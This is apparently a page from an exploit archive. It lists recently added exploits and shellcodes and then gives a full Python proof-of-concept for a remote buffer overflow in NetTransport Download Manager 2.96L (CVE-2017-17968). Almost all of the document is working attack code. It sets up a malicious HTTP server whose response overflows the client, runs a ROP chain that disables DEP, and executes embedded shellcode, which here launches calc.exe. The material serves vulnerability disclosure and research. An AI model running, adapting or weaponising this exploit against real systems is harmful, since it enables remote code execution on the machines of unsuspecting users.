c9e53fa57b
7 changes to exploits/shellcodes/ghdb
AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal
MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)
SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
Open Web Analytics 1.7.3 - Remote Code Execution (RCE)
CVAT 2.0 - SSRF (Server Side Request Forgery)
IOTransfer V4 - Unquoted Service Path
NetTransport 2.96L - Remote Buffer Overflow (DEP Bypass)
Linux/MIPS (Little Endian) - system(telnetd -l /bin/sh) Shellcode (80 bytes)
Linux/MIPS - reboot() Shellcode (32 bytes)
Linux/x86 - execve(/bin/sh) + Socket Re-Use Shellcode (50 bytes)
Linux/x86 - setuid(0) + setgid(0) + execve(/bin/sh_ [/bin/sh_ NULL]) Shellcode (37 bytes)
Windows/x86 - Write-to-file ('pwned' ./f.txt) + Null-Free Shellcode (278 bytes)
121 lines
No EOL
4.3 KiB
Python
Executable file
121 lines
No EOL
4.3 KiB
Python
Executable file
#!/usr/bin/python
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# Exploit Title: Buffer overflow in NetTransport Download Manager - Version 2.96L (DEP Bypass)
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# CVE: CVE-2017-17968
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# Date: 28-12-2017
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# Software Link: http://xi-soft.com/downloads/NXSetup_x86.zip
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# Exploit Author: Author: Aloyce J. Makalanga
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# Contact: https://twitter.com/aloycemjr
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# Vendor Homepage: http://xi-soft.com/default.htm
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# Category: webapps
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# Impact: Code execution
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#1. Description
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#
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#A buffer overflow vulnerability in NetTransport.exe in NetTransport Download Manager 2.96L and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long HTTP response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution
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#
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#2. Proof of Concept
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#
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#!/usr/bin/pythion
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def main():
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host = "192.168.205.131"
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port = 80
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.bind((host, port))
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s.listen(1)
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print "\n[+] Listening on %d ..." % port
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cl, addr = s.accept()
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print "[+] Connection accepted from %s" % addr[0]
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#Disabling DEP by VirtualProtect()
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def create_rop_chain():
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# rop chain generated with mona.py - www.corelan.be
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rop_gadgets = [
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0x10001653, # POP EAX # RETN [libssl.dll]
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0x00485ed3,# MOV EAX,DWORD PTR DS:[ECX] # POP EDI # POP ESI # POP EBP # POP ECX # RETN 0x04 [NetTransport.exe]
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x00496596, # XCHG EAX,ESI # RETN 0x0A [NetTransport.exe]
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0x41414141, # Filler (RETN offset compensation)
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0x004ea919, # POP EBP # RETN [NetTransport.exe]
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0x41414141, # Filler (RETN offset compensation)
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0x41414141, # Filler (RETN offset compensation)
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0x4141, # Filler (RETN offset compensation)
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0x004608df, # & push esp # ret [NetTransport.exe]
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0x0045e75f, # POP EBX # RETN [NetTransport.exe]
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0x00000201, # 0x00000201-> ebx
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0x00554dbc, # POP ECX # RETN [NetTransport.exe]
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0x00000040, # 0x00000040-> edx
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0x00499c92, # XOR EDX,EDX # RETN 0x04 [NetTransport.exe]
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0x0041254c, # ADC EDX,ECX # POP EBX # ADD ESP,0C # RETN 0x04 [NetTransport.exe]
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0x41414141, # Filler (RETN offset compensation)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x41414141, # Filler (compensate)
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0x0054e559, # POP ECX # RETN [NetTransport.exe]
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0x41414141, # Filler (RETN offset compensation)
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0x10004b93, # &Writable location [libssl.dll]
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0x0050343f, # POP EDI # RETN [NetTransport.exe]
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0x00487073, # RETN (ROP NOP) [NetTransport.exe]
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0x10001653, # POP EAX # RETN [libssl.dll]
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0x90909090, # nop
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0x00486f78, # PUSHAD # RETN [NetTransport.exe]
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]
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return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
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rop_chain = create_rop_chain()
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#Tiny calc.exe shellcode
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shellcode = (
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"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
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"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
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"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
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"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
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"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
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"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
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"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
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"\x1c\x39\xbd"
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)
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MaxSize = 60000
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EAX_overwrite= "A"*16739 #Always trigger a crash at EAX
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#EIP 004E7828
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#evil = "\x28\x78\x4E\x90"
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rop = rop_chain
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nops = "\x90"*10
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pads = "C"*(MaxSize - len(EAX_overwrite + rop + nops + shellcode))
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payload = EAX_overwrite + rop + nops + shellcode + pads
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buffer = "HTTP/1.1 200 " + payload + "\r\n"
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print cl.recv(1000)
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cl.send(buffer)
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print "[+] Sending buffer: OK\n"
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cl.close()
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s.close()
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if __name__ == '__main__':
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import struct
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import socket
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main()
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#3. Solution:
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#
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#No solution available at the moment. |